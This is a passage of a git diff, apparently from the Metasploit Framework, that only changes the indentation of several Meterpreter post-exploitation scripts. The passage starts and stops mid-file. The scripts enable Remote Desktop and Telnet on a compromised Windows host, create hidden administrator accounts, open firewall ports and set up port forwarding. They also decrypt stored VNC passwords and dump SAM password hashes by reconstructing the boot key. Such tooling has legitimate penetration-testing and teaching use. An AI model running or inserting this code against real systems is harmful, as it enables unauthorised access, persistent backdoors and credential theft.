= enable'\"") - rescue::Exception => e - print_status("The following Error was encountered: #{e.class} #{e}") - end + else + print_status "\tTerminal Services service is already set to auto" + end + #Enabling Exception on the Firewall + print_status "\tOpening port in local firewall if necessary" + cmd_exec('netsh firewall set service type = remotedesktop mode = enable') + file_local_write(@dest,"execute -H -f cmd.exe -a \"/c 'netsh firewall set service type = remotedesktop mode = enable'\"") + rescue::Exception => e + print_status("The following Error was encountered: #{e.class} #{e}") + end end def addrdpusr(session, username, password) - rdu = resolve_sid("S-1-5-32-555")[:name] - admin = resolve_sid("S-1-5-32-544")[:name] + rdu = resolve_sid("S-1-5-32-555")[:name] + admin = resolve_sid("S-1-5-32-544")[:name] - print_status "Setting user account for logon" - print_status "\tAdding User: #{username} with Password: #{password}" - begin - addusr_out = cmd_exec("cmd.exe", "/c net user #{username} #{password} /add") - if addusr_out =~ /success/i - file_local_write(@dest,"execute -H -f cmd.exe -a \"/c net user #{username} /delete\"") - print_status "\tHiding user from Windows Login screen" - hide_user_key = 'HKLM\\SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\Winlogon\\SpecialAccounts\\UserList' - registry_setvaldata(hide_user_key,username,0,"REG_DWORD") - file_local_write(@dest,"reg deleteval -k HKLM\\\\SOFTWARE\\\\Microsoft\\\\Windows\\ NT\\\\CurrentVersion\\\\Winlogon\\\\SpecialAccounts\\\\UserList -v #{username}") - print_status "\tAdding User: #{username} to local group '#{rdu}'" - cmd_exec("cmd.exe","/c net localgroup \"#{rdu}\" #{username} /add") + print_status "Setting user account for logon" + print_status "\tAdding User: #{username} with Password: #{password}" + begin + addusr_out = cmd_exec("cmd.exe", "/c net user #{username} #{password} /add") + if addusr_out =~ /success/i + file_local_write(@dest,"execute -H -f cmd.exe -a \"/c net user #{username} /delete\"") + print_status "\tHiding user from Windows Login screen" + hide_user_key = 'HKLM\\SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\Winlogon\\SpecialAccounts\\UserList' + registry_setvaldata(hide_user_key,username,0,"REG_DWORD") + file_local_write(@dest,"reg deleteval -k HKLM\\\\SOFTWARE\\\\Microsoft\\\\Windows\\ NT\\\\CurrentVersion\\\\Winlogon\\\\SpecialAccounts\\\\UserList -v #{username}") + print_status "\tAdding User: #{username} to local group '#{rdu}'" + cmd_exec("cmd.exe","/c net localgroup \"#{rdu}\" #{username} /add") - print_status "\tAdding User: #{username} to local group '#{admin}'" - cmd_exec("cmd.exe","/c net localgroup #{admin} #{username} /add") - print_status "You can now login with the created user" - else - print_error("Account could not be created") - print_error("Error:") - addusr_out.each_line do |l| - print_error("\t#{l.chomp}") - end - end - rescue::Exception => e - print_status("The following Error was encountered: #{e.class} #{e}") - end + print_status "\tAdding User: #{username} to local group '#{admin}'" + cmd_exec("cmd.exe","/c net localgroup #{admin} #{username} /add") + print_status "You can now login with the created user" + else + print_error("Account could not be created") + print_error("Error:") + addusr_out.each_line do |l| + print_error("\t#{l.chomp}") + end + end + rescue::Exception => e + print_status("The following Error was encountered: #{e.class} #{e}") + end end def message - print_status "Windows Remote Desktop Configuration Meterpreter Script by Darkoperator" - print_status "Carlos Perez carlos_perez@darkoperator.com" + print_status "Windows Remote Desktop Configuration Meterpreter Script by Darkoperator" + print_status "Carlos Perez carlos_perez@darkoperator.com" end ################## MAIN ################## # Parsing of Options @@ -129,55 +129,55 @@ enbl = nil frwrd = nil @@exec_opts.parse(args) { |opt, idx, val| - case opt - when "-u" - usr = val - when "-p" - pass = val - when "-h" - usage - when "-f" - frwrd = true - lport = val - when "-e" - enbl = true - end + case opt + when "-u" + usr = val + when "-p" + pass = val + when "-h" + usage + when "-f" + frwrd = true + lport = val + when "-e" + enbl = true + end } if client.platform =~ /win32|win64/ - if args.length > 0 - if enbl or (usr and pass) - message - if enbl - if is_admin? - enablerd() - enabletssrv() - else - print_error("Insufficient privileges, Remote Desktop Service was not modified.") - end - end + if args.length > 0 + if enbl or (usr and pass) + message + if enbl + if is_admin? + enablerd() + enabletssrv() + else + print_error("Insufficient privileges, Remote Desktop Service was not modified.") + end + end - if usr and pass - if is_admin? - addrdpusr(session, usr, pass) - else - print_error("Insufficient privileges, account was not be created.") - end - end + if usr and pass + if is_admin? + addrdpusr(session, usr, pass) + else + print_error("Insufficient privileges, account was not be created.") + end + end - if frwrd == true - print_status("Starting the port forwarding at local port #{lport}") - client.run_cmd("portfwd add -L 0.0.0.0 -l #{lport} -p 3389 -r 127.0.0.1") - end - print_status("For cleanup use command: run multi_console_command -rc #{@dest}") - else - usage - end + if frwrd == true + print_status("Starting the port forwarding at local port #{lport}") + client.run_cmd("portfwd add -L 0.0.0.0 -l #{lport} -p 3389 -r 127.0.0.1") + end + print_status("For cleanup use command: run multi_console_command -rc #{@dest}") + else + usage + end - else - usage - end + else + usage + end else - print_error("This version of Meterpreter is not supported with this Script!") - raise Rex::Script::Completed + print_error("This version of Meterpreter is not supported with this Script!") + raise Rex::Script::Completed end diff --git a/scripts/meterpreter/gettelnet.rb b/scripts/meterpreter/gettelnet.rb index 0604f40eb6..dc18aadb82 100644 --- a/scripts/meterpreter/gettelnet.rb +++ b/scripts/meterpreter/gettelnet.rb @@ -16,113 +16,113 @@ logs = ::File.join(Msf::Config.log_directory,'scripts', 'gettelnet') @dest = logs + "/clean_up_" + filenameinfo + ".rc" @@exec_opts = Rex::Parser::Arguments.new( - "-h" => [ false, "Help menu." ], - "-e" => [ false, "Enable Telnet Server only." ], - "-p" => [ true, "The Password of the user to add." ], - "-u" => [ true, "The Username of the user to add." ], - "-f" => [ true, "Forward Telnet Connection." ] + "-h" => [ false, "Help menu." ], + "-e" => [ false, "Enable Telnet Server only." ], + "-p" => [ true, "The Password of the user to add." ], + "-u" => [ true, "The Username of the user to add." ], + "-f" => [ true, "Forward Telnet Connection." ] ) def checkifinst() - # This won't work on windows 2000 since there is no sc.exe - print_status("Checking if Telnet is installed...") - begin - registry_getvaldata("HKLM\\SYSTEM\\CurrentControlSet\\services\\TlntSvr\\","Start") - return true - rescue - return false + # This won't work on windows 2000 since there is no sc.exe + print_status("Checking if Telnet is installed...") + begin + registry_getvaldata("HKLM\\SYSTEM\\CurrentControlSet\\services\\TlntSvr\\","Start") + return true + rescue + return false - end + end end #--------------------------------------------------------------------------------------------------------- def insttlntsrv() - trgtos = @client.sys.config.sysinfo['OS'] - if trgtos =~ /Vista|7|2008/ - print_status("Checking if Telnet Service is Installed") - if checkifinst() - print_status("Telnet Service Installed on Target") - else - print_status("Installing Telnet Server Service ......") - cmd_exec("cmd /c ocsetup TelnetServer") - prog2check = "ocsetup.exe" - found = 0 - while found == 0 - @client.sys.process.get_processes().each do |x| - found =1 - if prog2check == (x['name'].downcase) - print_line "*" - sleep(0.5) - found = 0 - end - end - end - file_local_write(@dest,"execute -H -f cmd.exe -a \"/c ocsetup TelnetServer /uninstall\"") - print_status("Finished installing the Telnet Service.") + trgtos = @client.sys.config.sysinfo['OS'] + if trgtos =~ /Vista|7|2008/ + print_status("Checking if Telnet Service is Installed") + if checkifinst() + print_status("Telnet Service Installed on Target") + else + print_status("Installing Telnet Server Service ......") + cmd_exec("cmd /c ocsetup TelnetServer") + prog2check = "ocsetup.exe" + found = 0 + while found == 0 + @client.sys.process.get_processes().each do |x| + found =1 + if prog2check == (x['name'].downcase) + print_line "*" + sleep(0.5) + found = 0 + end + end + end + file_local_write(@dest,"execute -H -f cmd.exe -a \"/c ocsetup TelnetServer /uninstall\"") + print_status("Finished installing the Telnet Service.") - end - elsif trgtos =~ /2003/ - file_local_write(@dest,"reg setval -k \"HKLM\\SYSTEM\\CurrentControlSet\\services\\TlntSvr\\\" -v 'Start' -d \"1\"") - end + end + elsif trgtos =~ /2003/ + file_local_write(@dest,"reg setval -k \"HKLM\\SYSTEM\\CurrentControlSet\\services\\TlntSvr\\\" -v 'Start' -d \"1\"") + end end #--------------------------------------------------------------------------------------------------------- def enabletlntsrv() - key2 = "HKLM\\SYSTEM\\CurrentControlSet\\services\\TlntSvr\\" - value2 = "Start" - begin - v2 = registry_getvaldata(key2,value2) - print_status "Setting Telnet Server Services service startup mode" - if v2 != 2 - print_status "\tThe Telnet Server Services service is not set to auto, changing it to auto ..." - cmmds = [ 'sc config TlntSvr start= auto', "sc start TlntSvr", ] - cmmds. each do |cmd| - cmd_exec(cmd) - end - else - print_status "\tTelnet Server Services service is already set to auto" - end - # Enabling Exception on the Firewall - print_status "\tOpening port in local firewall if necessary" - cmd_exec('netsh firewall set portopening protocol = tcp port = 23 mode = enable') + key2 = "HKLM\\SYSTEM\\CurrentControlSet\\services\\TlntSvr\\" + value2 = "Start" + begin + v2 = registry_getvaldata(key2,value2) + print_status "Setting Telnet Server Services service startup mode" + if v2 != 2 + print_status "\tThe Telnet Server Services service is not set to auto, changing it to auto ..." + cmmds = [ 'sc config TlntSvr start= auto', "sc start TlntSvr", ] + cmmds. each do |cmd| + cmd_exec(cmd) + end + else + print_status "\tTelnet Server Services service is already set to auto" + end + # Enabling Exception on the Firewall + print_status "\tOpening port in local firewall if necessary" + cmd_exec('netsh firewall set portopening protocol = tcp port = 23 mode = enable') - rescue::Exception => e - print_status("The following Error was encountered: #{e.class} #{e}") - end + rescue::Exception => e + print_status("The following Error was encountered: #{e.class} #{e}") + end end #--------------------------------------------------------------------------------------------------------- def addrdpusr(username, password) - print_status "Setting user account for logon" - print_status "\tAdding User: #{username} with Password: #{password}" - begin - cmd_exec("net user #{username} #{password} /add") - file_local_write(@dest,"execute -H -f cmd.exe -a \"/c net user #{username} /delete\"") - print_status "\tAdding User: #{username} to local group TelnetClients" - cmd_exec("net localgroup \"TelnetClients\" #{username} /add") + print_status "Setting user account for logon" + print_status "\tAdding User: #{username} with Password: #{password}" + begin + cmd_exec("net user #{username} #{password} /add") + file_local_write(@dest,"execute -H -f cmd.exe -a \"/c net user #{username} /delete\"") + print_status "\tAdding User: #{username} to local group TelnetClients" + cmd_exec("net localgroup \"TelnetClients\" #{username} /add") - print_status "\tAdding User: #{username} to local group Administrators" - cmd_exec("net localgroup Administrators #{username} /add") + print_status "\tAdding User: #{username} to local group Administrators" + cmd_exec("net localgroup Administrators #{username} /add") - print_status "You can now login with the created user" - rescue::Exception => e - print_status("The following Error was encountered: #{e.class} #{e}") - end + print_status "You can now login with the created user" + rescue::Exception => e + print_status("The following Error was encountered: #{e.class} #{e}") + end end #--------------------------------------------------------------------------------------------------------- def message - print_status "Windows Telnet Server Enabler Meterpreter Script" + print_status "Windows Telnet Server Enabler Meterpreter Script" end def usage - print_line("Windows Telnet Server Enabler Meterpreter Script") - print_line("Usage: gettelnet -u <username> -p <password>") - print_line(@@exec_opts.usage) - raise Rex::Script::Completed + print_line("Windows Telnet Server Enabler Meterpreter Script") + print_line("Usage: gettelnet -u <username> -p <password>") + print_line(@@exec_opts.usage) + raise Rex::Script::Completed end #check for proper Meterpreter Platform def unsupported - print_error("This version of Meterpreter is not supported with this Script!") - raise Rex::Script::Completed + print_error("This version of Meterpreter is not supported with this Script!") + raise Rex::Script::Completed end @@ -133,40 +133,40 @@ pass = nil frwrd = nil enbl = nil @@exec_opts.parse(args) { |opt, idx, val| - case opt - when "-u" - usr = val - when "-p" - pass = val - when "-h" - usage - when "-f" - frwrd = true - when "-e" - enbl = true - end + case opt + when "-u" + usr = val + when "-p" + pass = val + when "-h" + usage + when "-f" + frwrd = true + when "-e" + enbl = true + end } unsupported if client.platform !~ /win32|win64/i if enbl - message - insttlntsrv() - enabletlntsrv() - print_status("For cleanup use command: run multi_console_command -rc #{@dest}") + message + insttlntsrv() + enabletlntsrv() + print_status("For cleanup use command: run multi_console_command -rc #{@dest}") elsif usr!= nil && pass != nil - message - insttlntsrv() - enabletlntsrv() - addrdpusr(usr, pass) - print_status("For cleanup use command: run multi_console_command -rc #{@dest}") + message + insttlntsrv() + enabletlntsrv() + addrdpusr(usr, pass) + print_status("For cleanup use command: run multi_console_command -rc #{@dest}") else - usage + usage end if frwrd == true - print_status("Starting the port forwarding at local port #{lport}") - client.run_cmd("portfwd add -L 0.0.0.0 -l #{lport} -p 23 -r 127.0.0.1") + print_status("Starting the port forwarding at local port #{lport}") + client.run_cmd("portfwd add -L 0.0.0.0 -l #{lport} -p 23 -r 127.0.0.1") end diff --git a/scripts/meterpreter/getvncpw.rb b/scripts/meterpreter/getvncpw.rb index 21484313c4..e588564cf9 100644 --- a/scripts/meterpreter/getvncpw.rb +++ b/scripts/meterpreter/getvncpw.rb @@ -14,37 +14,37 @@ require 'rex/proto/rfb/cipher' session = client @@exec_opts = Rex::Parser::Arguments.new( - "-h" => [ false, "Help menu."], - "-k" => [ true, "Specific registry key to search (minus Password)."], - "-l" => [ false, "List default key locations"] + "-h" => [ false, "Help menu."], + "-k" => [ true, "Specific registry key to search (minus Password)."], + "-l" => [ false, "List default key locations"] ) def usage() - print("\nPull the VNC Password from a Windows Meterpreter session\n") - print("By default an internal list of keys will be searched.\n\n") - print("\t-k\tSpecific key to search (e.g. HKLM\\\\Software\\\\ORL\\\\WinVNC3\\\\Default)\n") - print("\t-l\tList default key locations\n\n") - completed + print("\nPull the VNC Password from a Windows Meterpreter session\n") + print("By default an internal list of keys will be searched.\n\n") + print("\t-k\tSpecific key to search (e.g. HKLM\\\\Software\\\\ORL\\\\WinVNC3\\\\Default)\n") + print("\t-l\tList default key locations\n\n") + completed end def get_vncpw(session, key) - root_key, base_key = session.sys.registry.splitkey(key) - open_key = session.sys.registry.open_key(root_key,base_key,KEY_READ) - begin - return open_key.query_value('Password') - rescue - # no registry key found or other error - return nil - end + root_key, base_key = session.sys.registry.splitkey(key) + open_key = session.sys.registry.open_key(root_key,base_key,KEY_READ) + begin + return open_key.query_value('Password') + rescue + # no registry key found or other error + return nil + end end def listkeylocations(keys) - print_line("\nVNC Registry Key Locations") - print_line("--------------------------\n") - keys.each { |key| - print_line("\t#{key}") - } - completed + print_line("\nVNC Registry Key Locations") + print_line("--------------------------\n") + keys.each { |key| + print_line("\t#{key}") + } + completed end # fixed des key @@ -52,11 +52,11 @@ fixedkey = "\x17\x52\x6b\x06\x23\x4e\x58\x07" # 5A B2 CD C0 BA DC AF 13 # some common places for VNC password hashes keys = [ - 'HKLM\\Software\\ORL\\WinVNC3', 'HKCU\\Software\\ORL\\WinVNC3', - 'HKLM\\Software\\ORL\\WinVNC3\\Default', 'HKCU\\Software\\ORL\\WinVNC3\\Default', - 'HKLM\\Software\\ORL\\WinVNC\\Default', 'HKCU\\Software\\ORL\\WinVNC\\Default', - 'HKLM\\Software\\RealVNC\\WinVNC4', 'HKCU\\Software\\RealVNC\\WinVNC4', - 'HKLM\\Software\\RealVNC\\Default', 'HKCU\\Software\\RealVNC\\Default', + 'HKLM\\Software\\ORL\\WinVNC3', 'HKCU\\Software\\ORL\\WinVNC3', + 'HKLM\\Software\\ORL\\WinVNC3\\Default', 'HKCU\\Software\\ORL\\WinVNC3\\Default', + 'HKLM\\Software\\ORL\\WinVNC\\Default', 'HKCU\\Software\\ORL\\WinVNC\\Default', + 'HKLM\\Software\\RealVNC\\WinVNC4', 'HKCU\\Software\\RealVNC\\WinVNC4', + 'HKLM\\Software\\RealVNC\\Default', 'HKCU\\Software\\RealVNC\\Default', ] # parse the command line @@ -64,38 +64,38 @@ listkeylocs = false keytosearch = nil @@exec_opts.parse(args) { |opt, idx, val| - case opt - when "-h" - usage - when "-l" - listkeylocations(keys) - when "-k" - keytosearch = val - end + case opt + when "-h" + usage + when "-l" + listkeylocations(keys) + when "-k" + keytosearch = val + end } if client.platform =~ /win32|win64/ if keytosearch == nil - print_status("Searching for VNC Passwords in the registry....") - keys.each { |key| - vncpw = get_vncpw(session, key) - if vncpw - vncpw_hextext = vncpw.data.unpack("H*").to_s - vncpw_text = Rex::Proto::RFB::Cipher.decrypt vncpw.data, fixedkey - print_status("FOUND in #{key} -=> #{vncpw_hextext} => #{vncpw_text}") - end - } + print_status("Searching for VNC Passwords in the registry....") + keys.each { |key| + vncpw = get_vncpw(session, key) + if vncpw + vncpw_hextext = vncpw.data.unpack("H*").to_s + vncpw_text = Rex::Proto::RFB::Cipher.decrypt vncpw.data, fixedkey + print_status("FOUND in #{key} -=> #{vncpw_hextext} => #{vncpw_text}") + end + } else - print_status("Searching in regkey: #{keytosearch}") - vncpw = get_vncpw(session, keytosearch) - if vncpw - vncpw_hextext = vncpw.data.unpack("H*").to_s - vncpw_text = Rex::Proto::RFB::Cipher.decrypt vncpw.data, fixedkey - print_status("FOUND in #{keytosearch} -=> #{vncpw_hextext} => #{vncpw_text}") - else - print_status("Not found") - end + print_status("Searching in regkey: #{keytosearch}") + vncpw = get_vncpw(session, keytosearch) + if vncpw + vncpw_hextext = vncpw.data.unpack("H*").to_s + vncpw_text = Rex::Proto::RFB::Cipher.decrypt vncpw.data, fixedkey + print_status("FOUND in #{keytosearch} -=> #{vncpw_hextext} => #{vncpw_text}") + else + print_status("Not found") + end end else - print_error("This version of Meterpreter is not supported with this Script!") - raise Rex::Script::Completed + print_error("This version of Meterpreter is not supported with this Script!") + raise Rex::Script::Completed end diff --git a/scripts/meterpreter/hashdump.rb b/scripts/meterpreter/hashdump.rb index 2ab37157fc..022f795d9c 100644 --- a/scripts/meterpreter/hashdump.rb +++ b/scripts/meterpreter/hashdump.rb @@ -3,21 +3,21 @@ @client = client opts = Rex::Parser::Arguments.new( - "-h" => [ false, "Help menu." ], - "-p" => [ true, "The SMB port used to associated credentials."] + "-h" => [ false, "Help menu." ], + "-p" => [ true, "The SMB port used to associated credentials."] ) smb_port = 445 opts.parse(args) { |opt, idx, val| - case opt - when "-h" - print_line "hashdump -- dump SMB hashes to the database" - print_line(opts.usage) - raise Rex::Script::Completed - when "-p" - smb_port = val.to_i - end + case opt + when "-h" + print_line "hashdump -- dump SMB hashes to the database" + print_line(opts.usage) + raise Rex::Script::Completed + when "-p" + smb_port = val.to_i + end } # Constants for SAM decryption @@ -29,271 +29,271 @@ opts.parse(args) { |opt, idx, val| @sam_empty_nt = ["31d6cfe0d16ae931b73c59d7e0c089c0"].pack("H*") @des_odd_parity = [ - 1, 1, 2, 2, 4, 4, 7, 7, 8, 8, 11, 11, 13, 13, 14, 14, - 16, 16, 19, 19, 21, 21, 22, 22, 25, 25, 26, 26, 28, 28, 31, 31, - 32, 32, 35, 35, 37, 37, 38, 38, 41, 41, 42, 42, 44, 44, 47, 47, - 49, 49, 50, 50, 52, 52, 55, 55, 56, 56, 59, 59, 61, 61, 62, 62, - 64, 64, 67, 67, 69, 69, 70, 70, 73, 73, 74, 74, 76, 76, 79, 79, - 81, 81, 82, 82, 84, 84, 87, 87, 88, 88, 91, 91, 93, 93, 94, 94, - 97, 97, 98, 98,100,100,103,103,104,104,107,107,109,109,110,110, - 112,112,115,115,117,117,118,118,121,121,122,122,124,124,127,127, - 128,128,131,131,133,133,134,134,137,137,138,138,140,140,143,143, - 145,145,146,146,148,148,151,151,152,152,155,155,157,157,158,158, - 161,161,162,162,164,164,167,167,168,168,171,171,173,173,174,174, - 176,176,179,179,181,181,182,182,185,185,186,186,188,188,191,191, - 193,193,194,194,196,196,199,199,200,200,203,203,205,205,206,206, - 208,208,211,211,213,213,214,214,217,217,218,218,220,220,223,223, - 224,224,227,227,229,229,230,230,233,233,234,234,236,236,239,239, - 241,241,242,242,244,244,247,247,248,248,251,251,253,253,254,254 + 1, 1, 2, 2, 4, 4, 7, 7, 8, 8, 11, 11, 13, 13, 14, 14, + 16, 16, 19, 19, 21, 21, 22, 22, 25, 25, 26, 26, 28, 28, 31, 31, + 32, 32, 35, 35, 37, 37, 38, 38, 41, 41, 42, 42, 44, 44, 47, 47, + 49, 49, 50, 50, 52, 52, 55, 55, 56, 56, 59, 59, 61, 61, 62, 62, + 64, 64, 67, 67, 69, 69, 70, 70, 73, 73, 74, 74, 76, 76, 79, 79, + 81, 81, 82, 82, 84, 84, 87, 87, 88, 88, 91, 91, 93, 93, 94, 94, + 97, 97, 98, 98,100,100,103,103,104,104,107,107,109,109,110,110, + 112,112,115,115,117,117,118,118,121,121,122,122,124,124,127,127, + 128,128,131,131,133,133,134,134,137,137,138,138,140,140,143,143, + 145,145,146,146,148,148,151,151,152,152,155,155,157,157,158,158, + 161,161,162,162,164,164,167,167,168,168,171,171,173,173,174,174, + 176,176,179,179,181,181,182,182,185,185,186,186,188,188,191,191, + 193,193,194,194,196,196,199,199,200,200,203,203,205,205,206,206, + 208,208,211,211,213,213,214,214,217,217,218,218,220,220,223,223, + 224,224,227,227,229,229,230,230,233,233,234,234,236,236,239,239, + 241,241,242,242,244,244,247,247,248,248,251,251,253,253,254,254 ] def capture_boot_key - bootkey = "" - basekey = "System\\CurrentControlSet\\Control\\Lsa" - %W{JD Skew1 GBG Data}.each do |k| - ok = @client.sys.registry.open_key(HKEY_LOCAL_MACHINE, basekey + "\\" + k, KEY_READ) - return nil if not ok - bootkey << [ok.query_class.to_i(16)].pack("V") - ok.close - end + bootkey = "" + basekey = "System\\CurrentControlSet\\Control\\Lsa" + %W{JD Skew1 GBG Data}.each do |k| + ok = @client.sys.registry.open_key(HKEY_LOCAL_MACHINE, basekey + "\\" + k, KEY_READ) + return nil if not ok + bootkey << [ok.query_class.to_i(16)].pack("V") + ok.close + end - keybytes = bootkey.unpack("C*") - descrambled = "" + keybytes = bootkey.unpack("C*") + descrambled = "" # descrambler = [ 0x08, 0x05, 0x04, 0x02, 0x0b, 0x09, 0x0d, 0x03, 0x00, 0x06, 0x01, 0x0c, 0x0e, 0x0a, 0x0f, 0x07 ] - descrambler = [ 0x0b, 0x06, 0x07, 0x01, 0x08, 0x0a, 0x0e, 0x00, 0x03, 0x05, 0x02, 0x0f, 0x0d, 0x09, 0x0c, 0x04 ] + descrambler = [ 0x0b, 0x06, 0x07, 0x01, 0x08, 0x0a, 0x0e, 0x00, 0x03, 0x05, 0x02, 0x0f, 0x0d, 0x09, 0x0c, 0x04 ] - 0.upto(keybytes.length-1) do |x| - descrambled << [ keybytes[ descrambler[x] ] ].pack("C") - end + 0.upto(keybytes.length-1) do |x| + descrambled << [ keybytes[ descrambler[x] ] ].pack("C") + end - descrambled + descrambled end def capture_hboot_key(bootkey) - ok = @client.sys.registry.open_key(HKEY_LOCAL_MACHINE, "SAM\\SAM\\Domains\\Account", KEY_READ) - return if not ok - vf = ok.query_value("F") - return if not vf - vf = vf.data - ok.close + ok = @client.sys.registry.open_key(HKEY_LOCAL_MACHINE, "SAM\\SAM\\Domains\\Account", KEY_READ) + return if not ok + vf = ok.query_value("F") + return if not vf + vf = vf.data + ok.close - hash = Digest::MD5.new - hash.update(vf[0x70, 16] + @sam_qwerty + bootkey + @sam_numeric) + hash = Digest::MD5.new + hash.update(vf[0x70, 16] + @sam_qwerty + bootkey + @sam_numeric) - rc4 = OpenSSL::Cipher::Cipher.new("rc4") - rc4.key = hash.digest - hbootkey = rc4.update(vf[0x80, 32]) - hbootkey << rc4.final - return hbootkey + rc4 = OpenSSL::Cipher::Cipher.new("rc4") + rc4.key = hash.digest + hbootkey = rc4.update(vf[0x80, 32]) + hbootkey << rc4.final + return hbootkey end def capture_user_keys - users = {} - ok = @client.sys.registry.open_key(HKEY_LOCAL_MACHINE, "SAM\\SAM\\Domains\\Account\\Users", KEY_READ) - return if not ok + users = {} + ok = @client.sys.registry.open_key(HKEY_LOCAL_MACHINE, "SAM\\SAM\\Domains\\Account\\Users", KEY_READ) + return if not ok - ok.enum_key.each do |usr| - uk = @client.sys.registry.open_key(HKEY_LOCAL_MACHINE, "SAM\\SAM\\Domains\\Account\\Users\\#{usr}", KEY_READ) - next if usr == 'Names' - users[usr.to_i(16)] ||={} - users[usr.to_i(16)][:F] = uk.query_value("F").data - users[usr.to_i(16)][:V] = uk.query_value("V").data + ok.enum_key.each do |usr| + uk = @client.sys.registry.open_key(HKEY_LOCAL_MACHINE, "SAM\\SAM\\Domains\\Account\\Users\\#{usr}", KEY_READ) + next if usr == 'Names' + users[usr.to_i(16)] ||={} + users[usr.to_i(16)][:F] = uk.query_value("F").data + users[usr.to_i(16)][:V] = uk.query_value("V").data - #Attempt to get Hints (from Win7/Win8 Location) - begin - users[usr.to_i(16)][:UserPasswordHint] = decode_windows_hint(uk.query_value("UserPasswordHint").data.unpack("H*")[0]) - rescue ::Rex::Post::Meterpreter::RequestError - users[usr.to_i(16)][:UserPasswordHint] = nil - end + #Attempt to get Hints (from Win7/Win8 Location) + begin + users[usr.to_i(16)][:UserPasswordHint] = decode_windows_hint(uk.query_value("UserPasswordHint").data.unpack("H*")[0]) + rescue ::Rex::Post::Meterpreter::RequestError + users[usr.to_i(16)][:UserPasswordHint] = nil + end - uk.close - end - ok.close + uk.close + end + ok.close - ok = @client.sys.registry.open_key(HKEY_LOCAL_MACHINE, "SAM\\SAM\\Domains\\Account\\Users\\Names", KEY_READ) - ok.enum_key.each do |usr| - uk = @client.sys.registry.open_key(HKEY_LOCAL_MACHINE, "SAM\\SAM\\Domains\\Account\\Users\\Names\\#{usr}", KEY_READ) - r = uk.query_value("") - rid = r.type - users[rid] ||= {} - users[rid][:Name] = usr + ok = @client.sys.registry.open_key(HKEY_LOCAL_MACHINE, "SAM\\SAM\\Domains\\Account\\Users\\Names", KEY_READ) + ok.enum_key.each do |usr| + uk = @client.sys.registry.open_key(HKEY_LOCAL_MACHINE, "SAM\\SAM\\Domains\\Account\\Users\\Names\\#{usr}", KEY_READ) + r = uk.query_value("") + rid = r.type + users[rid] ||= {} + users[rid][:Name] = usr - #Attempt to get Hints (from WinXP Location) only if it's not set yet - if users[rid][:UserPasswordHint].nil? - begin - uk_hint = @client.sys.registry.open_key(HKEY_LOCAL_MACHINE, "SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Hints\\#{usr}", KEY_READ) - users[rid][:UserPasswordHint] = uk_hint.query_value("").data - rescue ::Rex::Post::Meterpreter::RequestError - users[rid][:UserPasswordHint] = nil - end - end + #Attempt to get Hints (from WinXP Location) only if it's not set yet + if users[rid][:UserPasswordHint].nil? + begin + uk_hint = @client.sys.registry.open_key(HKEY_LOCAL_MACHINE, "SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Hints\\#{usr}", KEY_READ) + users[rid][:UserPasswordHint] = uk_hint.query_value("").data + rescue ::Rex::Post::Meterpreter::RequestError + users[rid][:UserPasswordHint] = nil + end + end - uk.close - end - ok.close - users + uk.close + end + ok.close + users end def decrypt_user_keys(hbootkey, users) - users.each_key do |rid| - user = users[rid] + users.each_key do |rid| + user = users[rid] - hashlm_enc = "" - hashnt_enc = "" + hashlm_enc = "" + hashnt_enc = "" - hoff = user[:V][0x9c, 4].unpack("V")[0] + 0xcc + hoff = user[:V][0x9c, 4].unpack("V")[0] + 0xcc - #Check if hashes exist (if 20, then we've got a hash) - lm_exists = user[:V][0x9c+4,4].unpack("V")[0] == 20 ? true : false - nt_exists = user[:V][0x9c+16,4].unpack("V")[0] == 20 ? true : false + #Check if hashes exist (if 20, then we've got a hash) + lm_exists = user[:V][0x9c+4,4].unpack("V")[0] == 20 ? true : false + nt_exists = user[:V][0x9c+16,4].unpack("V")[0] == 20 ? true : false - #If we have a hashes, then parse them (Note: NT is dependant on LM) - hashlm_enc = user[:V][hoff + 4, 16] if lm_exists - hashnt_enc = user[:V][(hoff + (lm_exists ? 24 : 8)), 16] if nt_exists + #If we have a hashes, then parse them (Note: NT is dependant on LM) + hashlm_enc = user[:V][hoff + 4, 16] if lm_exists + hashnt_enc = user[:V][(hoff + (lm_exists ? 24 : 8)), 16] if nt_exists - user[:hashlm] = decrypt_user_hash(rid, hbootkey, hashlm_enc, @sam_lmpass) - user[:hashnt] = decrypt_user_hash(rid, hbootkey, hashnt_enc, @sam_ntpass) - end + user[:hashlm] = decrypt_user_hash(rid, hbootkey, hashlm_enc, @sam_lmpass) + user[:hashnt] = decrypt_user_hash(rid, hbootkey, hashnt_enc, @sam_ntpass) + end - users + users end def decode_windows_hint(e_string) - d_string = "" - e_string.scan(/..../).each do |chunk| - bytes = chunk.scan(/../) - d_string += (bytes[1] + bytes[0]).to_s.hex.chr - end - d_string + d_string = "" + e_string.scan(/..../).each do |chunk| + bytes = chunk.scan(/../) + d_string += (bytes[1] + bytes[0]).to_s.hex.chr + end + d_string end def convert_des_56_to_64(kstr) - key = [] - str = kstr.unpack("C*") + key = [] + str = kstr.unpack("C*") - key[0] = str[0] >> 1 - key[1] = ((str[0] & 0x01) << 6) | (str[1] >> 2) - key[2] = ((str[1] & 0x03) << 5) | (str[2] >> 3) - key[3] = ((str[2] & 0x07) << 4) | (str[3] >> 4) - key[4] = ((str[3] & 0x0F) << 3) | (str[4] >> 5) - key[5] = ((str[4] & 0x1F) << 2) | (str[5] >> 6) - key[6] = ((str[5] & 0x3F) << 1) | (str[6] >> 7) - key[7] = str[6] & 0x7F + key[0] = str[0] >> 1 + key[1] = ((str[0] & 0x01) << 6) | (str[1] >> 2) + key[2] = ((str[1] & 0x03) << 5) | (str[2] >> 3) + key[3] = ((str[2] & 0x07) << 4) | (str[3] >> 4) + key[4] = ((str[3] & 0x0F) << 3) | (str[4] >> 5) + key[5] = ((str[4] & 0x1F) << 2) | (str[5] >> 6) + key[6] = ((str[5] & 0x3F) << 1) | (str[6] >> 7) + key[7] = str[6] & 0x7F - 0.upto(7) do |i| - key[i] = ( key[i] << 1) - key[i] = @des_odd_parity[key[i]] - end + 0.upto(7) do |i| + key[i] = ( key[i] << 1) + key[i] = @des_odd_parity[key[i]] + end - key.pack("C*") + key.pack("C*") end def rid_to_key(rid) - s1 = [rid].pack("V") - s1 << s1[0,3] + s1 = [rid].pack("V") + s1 << s1[0,3] - s2b = [rid].pack("V").unpack("C4") - s2 = [s2b[3], s2b[0], s2b[1], s2b[2]].pack("C4") - s2 << s2[0,3] + s2b = 